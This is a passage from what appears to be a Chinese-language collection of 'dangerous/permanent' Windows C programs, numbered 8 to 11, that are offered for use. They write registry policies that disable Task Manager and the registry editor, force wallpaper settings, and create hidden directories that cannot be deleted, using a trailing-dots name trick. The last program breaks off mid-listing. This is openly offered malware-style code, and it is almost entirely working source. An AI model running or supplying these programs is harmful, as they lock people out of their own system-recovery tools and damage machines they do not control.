警告:以下为危险/永久性程序，请慎重使用

8.

效果:禁用任务管理器

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{HKEY hkey;DWORD value = 1;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));RegCloseKey(hkey);return 0;
}

9.

效果:禁用注册表

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{HKEY hkey;DWORD value = 1;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));RegCloseKey(hkey);return 0;
}

10.

效果:桌面壁纸

#include <stdio.h>
#include <windows.h> 
int main()
{DWORD value = 1;HKEY hkey;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));return 0;
}

11.

效果:不可删除文件

解决方法：将51-52行换成52行

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);BOOL bRet = CreateDirectory(file, NULL);if (bRet){strcat(file, "\\anti...\\");bRet = CreateDirectory(file, NULL);if (bRet){SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);return TRUE;}}return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);strcat(file, "\\anti...\\");RemoveDirectory(file);ZeroMemory(file, MAX_PATH);strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);RemoveDirectory(file);
}int main(int argc, char * argv[])
